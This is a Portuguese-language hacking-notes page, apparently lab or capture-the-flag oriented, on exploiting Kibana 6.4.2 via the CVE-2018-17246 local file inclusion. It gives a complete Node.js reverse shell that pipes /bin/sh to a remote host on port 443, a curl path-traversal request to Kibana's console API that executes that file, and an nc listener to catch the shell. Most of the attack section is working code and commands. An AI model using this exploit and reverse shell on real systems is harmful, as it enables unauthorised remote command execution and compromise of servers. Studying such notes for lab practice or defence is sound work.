> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/kibana-cms-exploitation.md).

# Kibana

Notas de exploração do Kibana para LFI na CVE-2018-17246, descoberta de versão via api/status, execução de payload Node.js e entrega de reverse shell.

### Explorando o Kibana (CVE-2018-17246)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659f17643a67378ea84165f840fb03c58c57bbb3%2Fimage%20(1196).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verificação da versão do Kibana**

Ao acessar `http://localhost:5601/api/status` revela a versão do Kibana **6.4.2**. Esta versão é vulnerável ao **Local File Inclusion (LFI)** via **CVE-2018-17246**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-713508fea4c266675af9a04b46f3b254116a2f53%2Fimage%20(1197).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Exploração da vulnerabilidade**

Para explorar a vulnerabilidade, crie um arquivo JavaScript que abra um shell reverso. No alvo, crie `/tmp/rev.js` com o seguinte código:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Impede que a aplicação Node.js trave
})();
</code></pre>

Este script se conecta de volta à máquina do atacante na porta **443** e abre um shell.

**Redirecionando o fluxo para o arquivo**

Então redirecione o fluxo para `/dev/shm/rev.js` com o seguinte comando:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Aguardando o Shell Reverso**

Na máquina do atacante, inicie um listener na porta **443** para capturar o shell reverso:

```bash
nc -nlvp 443
```

Uma vez conectado, você terá um shell no alvo e poderá continuar a escalada de privilégios.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ac64b6e916dab5303c712cc4eb5e66598d95d46%2Fimage%20(1198).png?alt=media" alt=""><figcaption></figcaption></figure>


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